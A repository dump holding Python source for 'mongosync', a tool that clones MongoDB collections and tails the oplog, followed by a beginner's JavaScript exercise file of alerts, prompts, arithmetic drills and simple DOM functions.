be use to "equally" split the collection. Return an empty list if not possible to do it. Duplicate seeds are possible. _ids are not returned in any specific order. """ def section_ids(self, db, coll, quantity): # The "$sample" is slow, so we will try to generate random object ids ourselves # We want to have some information about the smallest and biggest _id (we suppose that the _id is monotonously increasing) first = list(self.find(db=db, coll=coll, query={}, skip=0, limit=1, projection=None, sort_field='_id', sort_order=pymongo.ASCENDING)) if len(first) == 0: return [] last = list(self.find(db=db, coll=coll, query={}, skip=0, limit=1, projection=None, sort_field='_id', sort_order=pymongo.DESCENDING)) if len(last) == 0: return [] first = first[0] last = last[0] # Arbitrarily generate object ids between the minimal/maximal values first_timestamp = first['_id'].generation_time.replace(tzinfo=timezone.utc).timestamp() last_timestamp = last['_id'].generation_time.replace(tzinfo=timezone.utc).timestamp() step = int(max(1,(last_timestamp - first_timestamp) / quantity)) section_ids = [] for offset in range(int(first_timestamp), int(last_timestamp), step): current_date = datetime.utcfromtimestamp(offset) section_id = {'_id':ObjectId.from_datetime(current_date)} section_ids.append(section_id) return section_ids """ Indicates if the collection contains at least one document with an "_id" field, and if it's an ObjectId """ def id_type(self, db, coll): first = list(self.find(db=db, coll=coll, query={}, skip=0, limit=1, projection=None, sort_field='_id', sort_order=pymongo.ASCENDING)) if len(first) == 0: return {'has_id':False,'is_object_id':False} first = first[0] has_id = '_id' in first is_object_id = False if has_id: is_object_id = isinstance(first['_id'], ObjectId) return {'has_id':has_id,'is_object_id':is_object_id} """ A simple insert_one """ @retry_connection def insert_one(self, db, coll, document): return self.instance[db][coll].insert_one(document) """ A simple insert_many """ @retry_connection def insert_many(self, db, coll, documents): try: result = self.instance[db][coll].insert_many(documents, ordered=False, bypass_document_validation=True) except pymongo.errors.BulkWriteError as e: # We don't want to crash on duplicate key errors for err in e.details.get('writeErrors', []): if err['code'] != 11000: print(e.details) raise e result = [] return result """ Stats on a given collection """ @retry_connection def collection_stats(self, db, coll): # For whatever reason you have to go through an intermediate variable to run the command database = self.instance[db] try: result = database.command("collstats", coll) except pymongo.errors.OperationFailure as e: print('Problem to get stats for '+str(db)+'.'+str(coll)+'. Generally it is because of the collection not existing.') result = {} return result """ Information about each index on a collection { <index_id> : { 'key': [ (<field_name>, <order>) ] <optional_elements> } } """ @retry_connection def get_indexes(self, db, coll): return self.instance[db][coll].index_information() """ A simple delete_many """ @retry_connection def delete_many(self, db, coll, query): return self.instance[db][coll].delete_many(query) """ List all databases """ def list_databases(self): return self.instance.database_names() """ List all collections from a database """ def list_collections(self, db): return self.instance[db].list_collection_names() """ The drop command is only used for development normally """ @retry_connection def drop(self, db, coll): return self.instance[db][coll].drop()<file_sep>from src.core.service.Configuration import Configuration from src.core.Core import Core from src.core.service.TestWrite import TestWrite from src.core.service.TestRead import TestRead from sys import argv # python3.6 -m src.main test-write conf/mongosync.json if __name__ == '__main__': if len(argv) <= 1 or argv[1] not in ['start','test-write','test-read']: print("Usage: <operation> where operation belongs to 'start', 'test-write', 'test-read'") exit(1) operation = argv[1] if len(argv) == 3: configuration_filepath = argv[2] Configuration.FILEPATH = configuration_filepath configuration = Configuration() if operation == 'start': core = Core(configuration=configuration) core.start() elif operation == 'test-write': test_write = TestWrite(configuration=configuration) test_write.start() elif operation == 'test-read': test_read = TestRead(configuration=configuration) test_read.start() else: print('Unsupported operation.') <file_sep>import random import time import pymongo from src.core.service.Mongo import Mongo class TestRead: def __init__(self, configuration): self.configuration = configuration self.db = self.configuration.internal_database() self.coll = self.configuration.internal_test_write_collection() self.primary = Mongo(self.configuration, is_primary=True) self.secondary = Mongo(self.configuration, is_primary=False) """ Small method to loads GBs of data as fast as possible in a mongodb instance, to test the mongosync speed afterwards """ def start(self): print('Reading data from the mongosync database.') st = time.time() n = 0 cursor = self.primary.find(db=self.db, coll=self.coll, query={}, sort_field='_id', sort_order=pymongo.ASCENDING) for doc in cursor: n += 1 dt = time.time() - st print('Read ' + str(n) + ' documents in ' + str(int(dt)) + 's ('+str(int(n/dt))+' docs/s).')<file_sep>from src.core.service.Mongo import Mongo import time import pymongo from bson.objectid import ObjectId class Collection: def __init__(self, configuration, db, coll): self.configuration = configuration self.db = db self.coll = coll self.mongo_primary = Mongo(configuration, is_primary=True) self.mongo_secondary = Mongo(configuration, is_primary=False) self.coll_stats = self.mongo_primary.collection_stats(db=self.db, coll=self.coll) self.previous_id = None """ In charge of preparing the collection to synchronize, returns the various seeds we should use. """ def prepare_sync(self): average_object_size = self.coll_stats['avgObjSize'] expected_documents = self.coll_stats['count'] # It can increase but it's not a problem, it's only used for logging # Drop / Create the destination collection self.check_collection() # Add indexes self.copy_indexes() # Get the various seeds seeds = self.list_seeds() if len(seeds) == 0: print("We should always have at least 2 seeds.") raise ValueError("Invalid seed number. Failure.") # Create and return the list of inputs necessary to create CollectionPart collection_parts = [] previous_seed = seeds[0] for seed in seeds[1:]: collection_parts.append({ 'db': self.db, 'coll': self.coll, 'seed_start': previous_seed, 'seed_end': seed, 'total_seeds': len(seeds) }) previous_seed = seed return collection_parts """ Load the seeds we want to use for the synchronisation. Return a list of tuples, each tuple represent a range, the first value is the start of it, the second value, the end of it. """ def list_seeds(self): # First, we need to be sure that we have an _id and if that's an objectid, otherwise we cannot use the same technique. # The oplog should only be tailed by one thread at a time, so we want to be sure to never create seeds for it. id_type = self.mongo_primary.id_type(self.db, self.coll) if id_type['has_id'] is False or id_type['is_object_id'] is False or (self.db == "local" and self.coll == "oplog.rs"): return [None, None] # Number of seeds we would like quantity = self.configuration.internal_maximum_seeds() if self.coll_stats['count'] <= 100*quantity: # Arbitrarily, we decide it's useless to use a lot of seeds if we only have a small number of documents return [({'_id':ObjectId('0'*24)},{'_id':ObjectId('f'*24)})] # Get various seeds seeds = self.mongo_primary.section_ids(self.db, self.coll, quantity=quantity) # TODO: In the future, if we want to be smart and allow retry of a failed sync, we should take the previous seeds # stored in the mongosync database, then make a simple query to see up to where they went # We order them to be able to return ranges. the ObjectId already allows to compare values. seeds = sorted(seeds, key=lambda seed: seed['_id']) # Always add the first and last seed seeds = [{'_id':ObjectId('0'*24)}] + seeds seeds.append({'_id':ObjectId('f'*24)}) return seeds """ Specific checks before writing to a collection """ def check_collection(self): # Stats about the optional collection if self.db in self.mongo_secondary.list_databases() and self.coll in self.mongo_secondary.list_collections(self.db): destination_stats = self.mongo_secondary.collection_stats(db=self.db, coll=self.coll) else: destination_stats = {} # For internal db, we want to remove them by default, to avoid any problem (one exception: the oplog) if len(destination_stats) != 1 and self.db == 'local': if self.coll != 'oplog.rs' and False: # Not possible to drop every db self.mongo_secondary.drop(self.db, self.coll) self.destination_stats = {} # Optionally create a capped collection, but we only do that if it didn't exist before if self.coll_stats['capped'] is True and len(destination_stats) == 0: capped_max_size = self.coll_stats.get('maxSize', -1) capped_max = self.coll_stats.get('max', -1) if self.coll_stats['ns'] == 'local.oplog.rs': # Special case, we do not necessarily want to keep the same oplog size as the other node capped_max_size = self.configuration.mongo_oplog_size() * (1024 ** 3) if capped_max_size == -1: capped_max_size = None if capped_max == -1: capped_max = None self.mongo_secondary.create_collection(self.db, self.coll, capped=True, max=capped_max, max_size=capped_max_size) """ It is better to copy indexes directly, before copying the data. That way we directly have the TTL working, but we also do not need to read all data at the end to create the indexes (if Mongo is on a NFS mount, you will lose a lot of time just for that). Even if the insert performance will be "worst", at the end, it should not matter a lot with the multi-threading copy of mongosync """ def copy_indexes(self): expected_indexes = self.mongo_primary.get_indexes(self.db, self.coll) for name in expected_indexes: index = expected_indexes[name] options = index options['keys'] = index['key'] options['name'] = name del index['key'] self.mongo_secondary.create_index(self.db, self.coll, options) def __str__(self): return 'Collection:'+self.db+'.'+self.coll def __repr__(self): return self.__str__() <file_sep>cement==2.10.2 inflection==0.3.1 Jinja2==2.9.4 MarkupSafe==1.0 peewee==2.8.5 pymongo==3.6.1 semantic-version==2.6.0 six==1.10.0<file_sep>from src.core.service.Mongo import Mongo from src.core.service.Configuration import Configuration from src.core.clone.Collection import Collection from src.core.clone.BasicCollectionPart import BasicCollectionPart from src.core.clone.OplogCollectionPart import OplogCollectionPart import multiprocessing as mp from queue import Empty as QueueEmpty """ Function (in another thread than the main program) to handle the clone of any CollectionPart """ def clone_collection_part(qi, qo, job_id, common_info): # Create the history for a specific pharmacy print('Process '+str(job_id)+': start to clone CollectionParts.') Configuration.FILEPATH = common_info['configuration_filepath'] configuration = Configuration() total = qi.qsize() # Only use that information for logging while True: try: data = qi.get(timeout=1) # Timeout after 1 second, no need to wait more than that if data == 'DONE': print('Process ' + str(job_id) + ': job done, stop here this process.') qo.put('DONE') return else: if data['collection_part']['db'] == "local" and data['collection_part']['coll'] == 'oplog.rs': print('Process ' + str(job_id) + ': Start long-running job to clone the oplog') else: print('Process '+str(job_id)+': Start CollectionParts ~'+str(total - qi.qsize())+'/'+str(total)) data['collection_part']['configuration'] = configuration collection_part = Core.create_collection_part(inputs = data['collection_part']) collection_part.sync() except QueueEmpty: qo.put('DONE') return # Exit when all work is done except: raise # Raise all other errors class Core: def __init__(self, configuration): self.configuration = configuration self.primary = Mongo(configuration, is_primary=True) self.secondary = Mongo(configuration, is_primary=False) """ In charge of launching the entire synchronisation of every database. Simple version without any multi-threading. """ def start(self): print('Prepare sync of the following databases: '+str(', '.join(self.primary.list_databases()))) # Check all CollectionParts we need to create oplog_input = None other_inputs = [] for db in self.primary.list_databases(): for coll in self.primary.list_collections(db): collection = Collection(configuration=self.configuration, db=db, coll=coll) collection_part_inputs = collection.prepare_sync() for inputs in collection_part_inputs: # We need to reserve a long-running thread for the oplog. So, we want to put as the first element of the Queue data = {'collection_part': inputs} if db == "local" and coll == "oplog.rs": oplog_input = data else: other_inputs.append(data) if oplog_input is None: raise ValueError("No oplog found...") # Fill queues used for the multi-threading qi = mp.Queue() qo = mp.Queue() qi.put(oplog_input) for inputs in other_inputs: qi.put(inputs) # Starts the Jobs. We need at least 1 thread for the oplog, and another for the other collections jobs = [] jobs_quantity = 1 + int(max(1,self.configuration.internal_threads())) common_info = {'configuration_filepath': Configuration.FILEPATH} for i in range(int(jobs_quantity)): qi.put('DONE') job = mp.Process(target=clone_collection_part, args=(qi, qo, i, common_info, )) job.start() jobs.append(job) job_done = 0 while job_done < (jobs_quantity - 1): # There is one long-running thread which should never finish by itself. try: res = qo.get(timeout=3600*24) if res == 'DONE': job_done += 1 print('Remaining jobs: '+str(jobs_quantity - job_done - 1)) except QueueEmpty: # We cannot put a super-huge time out, so we simply handle the exception pass except: raise # Raise all other errors print('End synchronisation of every database, the oplog synchronisation will continue until you stop this script. Afterwards, just remove the database from the maintenance mode.') """ Create the appropriate CollectionPart instance """ @staticmethod def create_collection_part(inputs): if inputs['db'] == 'local' and inputs['coll'] == 'oplog.rs': return OplogCollectionPart(**inputs) else: return BasicCollectionPart(**inputs) <file_sep>#!/usr/lib/mongosync/environment/bin/python3.6 import json """ Every configuration variable must be accessed through a method. """ class Configuration: # This value can be overrided by the user FILEPATH = '/etc/mongosync/mongosync.json' def __init__(self): self.load(filepath=Configuration.FILEPATH) """ Read application """ def load(self, filepath): with open(filepath, 'r') as f: self.conf = json.load(f) """ Return the mongo host out of synchronisation which would like to synchronize """ def mongo_host_out_of_sync(self): return self.conf['mongo']['host']['out_of_sync'] """ Return the mongo host which will be the basis for the synchronisation """ def mongo_host_in_sync(self): return self.conf['mongo']['host']['in_sync'] """ To allow a long synchronisation without crash, we might need to set a big number for the oplog """ def mongo_oplog_size(self): return self.conf['mongo']['oplog_size_GB'] """ Maximum number of seconds we will try to reconnect to MongoDB if we lost the connection at inappropriate time. Value <= 0 means infinity. """ def mongo_access_attempt(self): if self.conf['mongo']['access_attempt_s'] <= 0: # Kinda infinite return 3600*24*365*100 return self.conf['mongo']['access_attempt_s'] """ Write concern to write to MongoDB. 0 disable write acknowledgement Value <= 0 means infinity. """ def mongo_write_acknowledgement(self): return self.conf['mongo']['write_acknowledgement'] """ If set to True, wait for the MongoDB journaling to acknowledge the write Value <= 0 means infinity. """ def mongo_write_j(self): return self.conf['mongo']['write_j'] """ The database to use for the command (it will use the "in-sync" node obviously) """ def internal_database(self): return self.conf['internal']['database'] """ The maximum number of seeds we want to have for any collection. For small collection we can arbitrarily decide to reduce their number. """ def internal_maximum_seeds(self): return self.conf['internal']['maximum_seeds'] """ The collection to use to write a lot of data for performance test """ def internal_test_write_collection(self): return self.conf['internal']['test_write_collection'] """ The number of data we want to write to the TestWrite collection. Return a number in GB. """ def internal_test_write_size(self): return self.conf['internal']['test_write_size_GB'] """ The average document size for the test-write collection. Return a number in bytes. """ def internal_test_write_document_size(self): return self.conf['internal']['test_write_document_bytes'] """ Number of threads to use for the synchronisation. The thread for the oplog is not counted in it and it will be automatically added """ def internal_threads(self): return int(max(1,self.conf['internal']['threads'])) """ Indicates if we are in a development mode (= clean database before mount for example) or not. """ def is_development(self): return self.conf['development'] <file_sep>import random import time from src.core.service.Mongo import Mongo class TestWrite: def __init__(self, configuration): self.configuration = configuration self.db = self.configuration.internal_database() self.coll = self.configuration.internal_test_write_collection() self.coll_expected_size = self.configuration.internal_test_write_size() self.document_size = self.configuration.internal_test_write_document_size() self.string_seed = TestWrite.generate_string_seed(50*int(max(1024,self.document_size))) self.mongo = Mongo(self.configuration, is_primary=False) """ Small method to loads GBs of data as fast as possible in a mongodb instance, to test the mongosync speed afterwards """ def start(self): print('Inserting data in the database, we want to go up to '+str(self.coll_expected_size)+'GB.') self.mongo.drop(self.db, self.coll) current_size = 0 # To avoid insane number of docs inserted at once, we estimate how much we can have at the same time docs_per_insert = int(16 * 1024 * 1024 / self.document_size) n = 0 i = 0 st = time.time() dt = 0 while current_size < self.coll_expected_size * (1024 ** 3): docs = [{"stuff":"hello","raw":self.random_string_from_seed(self.document_size)} for i in range(docs_per_insert)] self.mongo.insert_many(self.db, self.coll, docs) n += len(docs) i += 1 if i % 10 == 0: raw_stats = self.mongo.collection_stats(self.db, self.coll) current_size = raw_stats.get('storageSize', 0) if current_size == 0: print("Warning: We got 0 bytes as storage size for the TestWrite. Did you delete the collection during the process? We'll handle it anyway.") dt = time.time() - st print('Inserted '+str(n)+' documents in '+str(int(dt))+'s. Current size is '+str(int(current_size/(1024 ** 3)))+'/'+str(self.coll_expected_size)+'GB.') print('Inserted ' + str(n) + ' documents in ' + str(int(dt)) + 's. Current size is ' + str(int(current_size / (1024 ** 3))) + '/' + str(self.coll_expected_size) + 'GB.') print('The end!') """ To avoid the compression of MongoDB to mess with our test, we create a random string used as seed for all document. This is a "slow" process so we cannot generate a new random string for each document """ @staticmethod def generate_string_seed(size): print('Generate random string seed, it might take some time...') letters = 'azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN0123456789' return ''.join([random.choice(letters) for i in range(size)]) """ Return a "random" list of characters from the seed string """ def random_string_from_seed(self, size): # In fact, really not random, but whatever, we'll hope MongoDB will not be able to compress the data too efficiently start = random.randint(0,len(self.string_seed) - size) return self.string_seed[start:start+size] <file_sep> import time from src.core.clone.CollectionPart import CollectionPart class BasicCollectionPart(CollectionPart): def continue_fetching(self, received_quantity, expected_quantity): return received_quantity >= expected_quantity def sync_section(self, offset, limit_read, limit_write): # Fetching objects to sync from the primary. Not all documents have a "_id" field, so be careful. Performance will be very # slow if you do not have it, and it might crash if there are too many documents without any "_id" (TODO we should switch # to cursors in that case). We assume that if a collection contains a document with "_id", all documents have it. st = time.time() query = { '_id':{ '$gte': self.seed_start['_id'], '$lte': self.seed_end['_id'] # To be sure the final item, it's better to do one extra insert each time } } skip = 0 if self.previous_id is not None: query['_id']['$gte'] = self.previous_id if self.seed_start['_id'] is None or self.seed_end['_id'] is None: del query['_id']['$lte'] if self.previous_id is None: # Special code to handle collection without any _id at all, or at the first iteration query = {} skip = offset objects = list(self.mongo_primary.find(self.db, self.coll, query=query, skip=skip, limit=limit_read, sort_field='_id')) read_time = time.time() - st # Writing the objects to the secondary st = time.time() for i in range(0, len(objects), limit_write): self.insert_subset(objects[i:i + limit_write]) write_time = time.time() - st # Now we can assume that we correctly inserted the expected documents, so we can store the new start for the section # to copy if len(objects) >= 1 and '_id' in objects[-1]: self.previous_id = objects[-1]['_id'] return {'quantity': len(objects), 'read_time': read_time, 'write_time': write_time} def __str__(self): return 'BasicCollectionPart:' + self.db + '.' + self.coll+':['+str(self.seed_start['_id'])+';'+str(self.seed_end['_id'])+']' def __repr__(self): return self.__str__()<file_sep> import time from src.core.service.Mongo import Mongo class CollectionPart: """ Seeds can be None if there is no {"_id": ObjectId()} in the document database, in that case there will be only one thread in charge of copying the database """ def __init__(self, configuration, db, coll, seed_start=None, seed_end=None, total_seeds=1): self.configuration = configuration self.db = db self.coll = coll if seed_start is None or seed_end is None: # It ease the code below seed_start = {'_id':None} seed_end = {'_id':None} self.seed_start = seed_start self.seed_end = seed_end self.total_seeds = total_seeds # Total number of seeds, which can be seen as the number of instances of CollectionPart self.mongo_primary = Mongo(configuration, is_primary=True) self.mongo_secondary = Mongo(configuration, is_primary=False) self.coll_stats = self.mongo_primary.collection_stats(db=self.db, coll=self.coll) self.previous_id = None """ Indicates if we should continue pulling data from the collection or not. For a BasicCollectionPart this will be easy """ def continue_fetching(self, received_quantity, expected_quantity): raise ValueError('To implement in the children.') """ Try to insert a bunch of documents, while avoiding crashes if the total size is bigger than 16MB """ def insert_subset(self, documents): try: self.mongo_secondary.insert_many(self.db, self.coll, documents) except Exception as e: print('Exception while trying to insert ' + str(len(documents)) + ' documents in ' + str( self) + ' (' + str(e) + '). Try once again, but one document after another.') # Maybe we exceeded the 16MB, so better insert every document separately for doc in documents: self.mongo_secondary.insert_many(self.db, self.coll, [doc]) """ In charge of syncing the entire part of the collection assigned to it, so every document between two given seeds. The collection must be initially created by the Collection class, this is not the job of this class. """ def sync(self): average_object_size = self.coll_stats['avgObjSize'] expected_documents = int(max(1,self.coll_stats['count'] / self.total_seeds)) # It can increase but it's not a problem, it's only used for logging # Write limit is 16MB, so we put a security factor by only using ~12 MB limit_write = int(12 * (1024 ** 2) / average_object_size) # For the read-limit, we can arbitrarily takes up to 16 MB * 10, to avoid using too much RAM. limit_read = int(limit_write * 10) # Raw estimation of the data size for the current collection part storage_size_part = self.coll_stats['storageSize']/((1024**3) * self.total_seeds) objects_in_it = True offset = 0 st = time.time() read_time = 0 write_time = 0 i = 0 print(str(self)+' (start-sync): ~'+str(expected_documents)+' docs, ~'+str(int(storage_size_part))+'GB.') while objects_in_it: raw_stats = self.sync_section(offset, limit_read, limit_write) offset += raw_stats['quantity'] read_time += raw_stats['read_time'] write_time += raw_stats['write_time'] objects_in_it = self.continue_fetching(raw_stats['quantity'], limit_read) i += 1 if i % 50 == 0 or True: if offset >= expected_documents: # To have better logs, we check the remaining entries self.coll_stats = self.mongo_primary.collection_stats(db=self.db, coll=self.coll) expected_documents = int(max(1,self.coll_stats['count'] / self.total_seeds)) ratio = int(1000 * offset / expected_documents)/10 # To have the format 100.0% dt = time.time() - st average_speed = 1 expected_remaining_time = 0 if dt >= 0 and offset / dt > 0: average_speed = offset / dt expected_remaining_time = int((expected_documents - offset) / (average_speed * 60)) # In minutes time_log = 'Read time: '+str(int(100*read_time/dt))+'%, write time: '+str(int(100*write_time/dt))+'%' print(str(self)+' (syncing): '+str(offset)+'/'+str(expected_documents)+' docs ('+str(ratio)+'%, '+str(int(average_speed))+' docs/s). Remaining time: ~'+str(expected_remaining_time)+' minutes. '+time_log) dt = time.time() - st print(str(self)+' (end-sync): '+str(offset)+' docs, '+str(int(storage_size_part))+'GB. Time spent: '+str(int(dt))+'s.') # We return some stats return {'quantity':offset,'read_time':read_time,'write_time':write_time} """ In charge of syncing its part of the collection (between the two given seeds). Return the number of synced objects. We are not using any iterator in this case, so the method should normally not crash if the connexion is lost at the wrong time. """ def sync_section(self, offset, limit_read, limit_write): raise ValueError('Not implemented, to override') def __str__(self): return 'CollectionPart:' + self.db + '.' + self.coll+':['+str(self.seed_start['_id'])+';'+str(self.seed_end['_id'])+']' def __repr__(self): return self.__str__()<file_sep> import time from src.core.clone.CollectionPart import CollectionPart import pymongo """ The oplog collection is a bit different than the others as there is no _id, and we want """ class OplogCollectionPart(CollectionPart): def __init__(self, *args, **kwargs): CollectionPart.__init__(self, *args, **kwargs) if self.seed_start['_id'] is not None or self.seed_end['_id'] is not None: raise ValueError("There should be only one OplogCollectionPart!") def continue_fetching(self, received_quantity, expected_quantity): # There is no end to the fetching phase of the oplog. The only way to stop it, it's when the user manually ctrl+c # the process to remove it from maintenance. return True def sync_section(self, offset, limit_read, limit_write): # Fetching objects to sync from the primary. The oplog does not have any _id, nor index, so we need to use a cursor # as much as possible. But apparently they implemented some optimisations in the oplog to query the "ts" field fast even # without index. st = time.time() query = {} if self.previous_id is not None: # previous_id is the "ts" field in this case. query['ts']['$gt'] = self.previous_id cursor = self.mongo_primary.find_oplog(query=query, skip=0, limit=limit_read) read_time = time.time() - st # Writing the objects to the secondary st = time.time() subset = [] n = 0 while cursor.alive: for doc in cursor: subset.append(doc) n += 1 if len(subset) >= limit_write: self.insert_subset(subset) self.previous_id = doc['ts'] subset = [] # To replicate the expected behavior of this method versus the CollectionPart implementation, we # stop reading and wait for the next call break if n >= limit_write: break else: # If there is no new document for 1 second, the iteration on the cursor stop, so we wait a bit before trying again if len(subset) >= 1: self.insert_subset(subset) self.previous_id = subset[-1]['ts'] subset = [] time.sleep(1) if len(subset) >= 1: self.insert_subset(subset) write_time = time.time() - st return {'quantity': n, 'read_time': read_time, 'write_time': write_time} def __str__(self): return 'OplogCollectionPart:' + self.db + '.' + self.coll+':['+str(self.seed_start['_id'])+';'+str(self.seed_end['_id'])+']' def __repr__(self): return self.__str__()
8877c8402983bc627a19ea1a61f4f4ef380f2212
[ "Python", "Text" ]
11
Python
gilles-degols/mongosync
b4b14f583e697c1b54dbb1f3ed17eb97d567aed9
d54004d3ebe055dd63c9d51882d22dd8227f0698
refs/heads/master
<repo_name>localdavid/SneakerSite<file_sep>/js/interactive-svg.js $(function(){ // jQuery.load loads the SVG file into our #stage div and give it the class svgLoaded which we’ll later use to trigger our intro animation. Important: We load the SVG using JavaScript to gain access to its DOM. Chrome (and maybe other browsers) will not let you do this locally; it only works when run from the HTTP protocol for security reasons. So if you are having issues getting the SVG to load, be sure you are testing from a web server or running on localhost $("#stage").load('stripe1.svg',function(response){ $(this).addClass("svgLoaded"); if(!response){ // Error loading SVG $(this).html('Error loading SVG. Be sure you are running from a the http protocol (not locally) and have read <strong><a href="http://tympanus.net/codrops/?p=13831#the-javascript">this important part of the tutorial</a></strong>'); } }); });
1c22aaaa5c7630c0c1d299b400d37c2735dd0ef8
[ "JavaScript" ]
1
JavaScript
localdavid/SneakerSite
bc08497f6d639364f6c0d4d0900089958050b215
9b02a52881736b958d508ab2528ca86b8201b634
refs/heads/master
<file_sep># Js-1-to-67 Assignemnt <file_sep>// Chapter # 1 alert("Error ! please enter a valid password"); alert("Welcome to Js land \n Happy coding !"); alert("Wlecome to js land"); alert("Hello i can run js through my web browser console"); //Chapter # 2 var username="basit"; var myname="Khatri"; alert(username+myname); var message="Hello World"; alert(message); var stuname="Jh<NAME>"; var age="15 years old"; var career="Certified mobile app developer"; alert(stuname); alert(age); alert(career); var text="pizza"; alert(text + "\n"+ text.slice(0,4) + "\n"+ text.slice(0,3) + "\n"+ text.slice(0,2) + "\n"+ text.slice(0,1)); var email="<EMAIL>"; alert(email); var book="A smart way to learn javascript"; alert(book); document.write("<p>Yeah ! i can write html content thorugh Javascript</p>"); var design="▬▬▬▬▬▬▬▬▬ஜ۩۞۩ஜ▬▬▬▬▬▬▬▬▬"; alert(design); //Chpater # 3 var age="22"; alert("I am"+"" + age +""+ "years old"); var number= 15; alert("You have visited this site" + "" + number + "" + "times" ); var bithYear= 1998; document.write("My birth year is" + bithYear + "<br> Datatype of my declared varaible is number"); var visitorName= prompt("Enter Your name:"); var productTitle=prompt("Enter title of your product:"); var quantity=prompt("Enter quantity:"); document.write("<br>" + visitorName + " "+ "ordered" +" " + quantity + " " +productTitle +" "+ "on XYZ store"); //Chapter # 4 document.write("<br> <h3>Rules for naming JS variables </h3><br>"); document.write("Variable names can only contain, numbers , $ and For example $my_1stVariable"); document.write("Variables must begin with a letter, $ or _ For example $name, _name or name.<br>"); document.write("Variable names are case sensitive<br>"); document.write("Variable names should not be JS Keywords<br>"); //Chpater # 5 var num1=3; var num2=5; var add=num1+num2; var sub=num1-num2; var mult=num1*num2; var div=num1/num2; var mod=num1%num2; document.write("Sum of 3 and 5 is"+ "" + add); document.write("Sum of 3 and 5 is"+ "" + sub); document.write("Sum of 3 and 5 is"+ "" + mult); document.write("Sum of 3 and 5 is"+ "" + div); document.write("Sum of 3 and 5 is"+ "" + mod); var value=0; document.write("Value after variable declaration is:" + value + "<br>"); value=5; document.write("“Initial value is:" + value + "<br>"); value=value+1; document.write("Value after increment is:" + value + "<br>"); value=value+7; document.write("Value after addition is:" + value) + "<br>"; value=value-1; document.write("Value after decreament is:" + value + "<br>"); value=value%3; document.write("The remainder is :" +value + "<br>"); var ticket=600; var num= +prompt("Enter number of tickets:"); amount=ticket*num; document.write("<br>Total Cost to buy"+""+num+""+"tickets of movie will be:" +""+ amount); var tablenum=+prompt("Enter table for :"); for(var i=0;i<=10;i++){ document.write(tablenum+""+"x"+i+""+"="+""+tablenum*i+"<br>"); } var centigrade=+prompt("Enter temp in centigrade:"); var farenhite=+prompt("Enter temp in Farenhite:"); farenhite=(centigrade*9/5)+32; document.write(centigrade+"C is turn into"+farenhite+"F"+"<br>"); centigrade=(farenhite-32)*5/9; document.write(farenhite+"F is turn into"+centigrade+"C"+"<br>"); var Item1price=650; var item2price=100; var q1=+prompt("Enter Quantity for item 1:"); var q2=+prompt("Enter Quantity for item 2:"); var item1totalprice= Item1price*q1; var item2totalprice=item2price* q2; var cahrges=100; var totalPrice=item1totalprice+item2totalprice+cahrges; document.write("Total price for order is with cahrges 100 is:"+ ""+ totalPrice+ "<br>"); var totalmarks=980; var marksObtained=804; var percentage=(marksObtained/totalmarks)*100; document.write("Percentage :"+percentage); var dollar=104.80; var riyal=28; dollar=dollar*10; riyal=riyal*25; var pkr=dollar+riyal; document.write("<br>Pkr currecny is :"+ pkr); //CHAPTER # 38-42 function power(a,b){ return Math.pow(a,b) } var powerr= power(2,4) document.write(powerr + "<br>"); function leapyear() { var year=+prompt("Enter year to check leapyear:"); if (year % 100 === 0 && year % 400 === 0 && year % 4 === 0){ document.write("Its a leap year"+"<br>"); } else{ document.write("Its not a leap year"+"<br>"); } } leapyear(); function trianglearea(a,b,c){ var S=(a+b+c)/2; var area= S*(S-a)*(S-b)*(S-c); return area; } var result=trianglearea(2,7,8); document.write(result+"<br>"); function avg(sub1,sub2,sub3){ var result = (sub1+sub2+sub3)/3; return result; } function per(sub1,sub2,sub3){ var result=((sub1+sub2+sub3)*100)/300; return result; } function main(){ var sub1=+prompt("Enter Marks for sub1:"); var sub2=+prompt("Enter Marks for sub2:"); var sub3=+prompt("Enter Marks for sub3:"); var average=avg(sub1,sub2,sub3); var percentage=per(sub1,sub2,sub3); document.write("Average marks are :"+average+"<br>"); document.write("Percentage of Styudent :"+percentage+"<br>") } main(); var names=['haseeb','muneeb','basit','wahaj']; var find=prompt("Enter name to find location:"); find.toLowerCase(); for(var i=0; i<=names.length; i++){ if(find===names[i]){ document.write(find +" "+" found at "+i+"<br>"); break; } else{ document.write("Not found <br>"); } } var text= "Mr Blue has a blue house and a blue car"; var res= text.replace(/a|e|i|o|u/gi,''); document.write(res + "<br>"); const def = prompt('Enter the string to count two vowels in succetion : '); const answer = getResult(def); alert('The vowels in succetion are ' + answer + ' times'); function getResult(input) { const words = input.split(' '); let finalResult = 0; words.forEach((word) => { if (countVowelPair(word) > 0) { finalResult++; } }); return finalResult; } function countVowelPair(word) { let count = 0; for (let i = 1; i < word.length; i++) { if (isVowel(word[i]) && isVowel(word[i - 1])) { count++; } } return count; } function isVowel(char) { let result = false; switch (char) { case 'a': case 'e': case 'i': case 'o': case 'u': result = true; break; default: break; } return result; } var km=+prompt("Enter the km to convert it in 4 different units :"); var meter= km*1000; var feet= km*3280.84; var inch=km*39370.1; var cm=km*100000; document.write(km +" km"+ " Converted to "+ meter+" metres " + feet +" feets "+inch+" inches " + cm+" cm" +"<br>"); var employeesWorkTimmming = prompt('Enter employee work hours'); employeesWorkTimmming = Number(employeesWorkTimmming) var extraTime = employeesWorkTimmming - 40; function overTime(extraTime){ return extraTime*12; } var employeeOverTime = overTime(extraTime); document.write('emloyee gave ' + extraTime + ' Hr overtime. Over time paid to him is '+employeeOverTime+' Rs.<br>') var cash = parseInt(prompt('Enter cash')); function currencyDenomination(cash) { var hundred = parseInt(cash / 100); var fifty = parseInt((cash % 100) / 50); var ten = parseInt(((cash % 100) % 50) / 10); document.writeln('You will have ', hundred, ' hundred notes ', fifty, ' fifty notes, ', ten, ' ten notes'); } currencyDenomination(cash) //CHAPTER 43-48 function mouseOver(){ document.getElementById('car').src="https://www.extremetech.com/wp-content/uploads/2019/12/SONATA-hero-option1-764A5360-edit.jpg" } function mouseOut(){ document.getElementById('car').src="https://hips.hearstapps.com/hmg-prod.s3.amazonaws.com/images/bugatti-chiron-pur-sport-106-1582836604.jpg" } var count=0; function increament(){ var inc=document.getElementById("display"); inc.innerHTML=count++; } function decreament(){ var dec=document.getElementById("display"); dec.innerHTML=count--; } // CHAPTER # 49 to 52
546d6d3f9730c48750ec35ff0b86934dd89ba5d5
[ "Markdown", "JavaScript" ]
2
Markdown
basitkhatri123/Js-1-to-67
0ec0674745d06c7397e9fa4dc1a68910097b1ed7
bbadfa67ec62eee7cf66e9c6afa159b728b4d511
refs/heads/master
